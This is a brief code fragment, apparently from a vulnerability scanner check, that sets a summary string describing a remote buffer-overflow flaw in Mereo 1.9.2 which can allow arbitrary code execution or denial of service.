tag_summary = "Mereo is prone to a remote buffer-overflow vulnerability because it
fails to perform adequate boundary checks on user-supplied input
before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within
the context of the affected application. Failed exploit attempts will
result in a denial-of-service condition.

Mereo 1.9.2 is vulnerable; other versions may also be affected.";
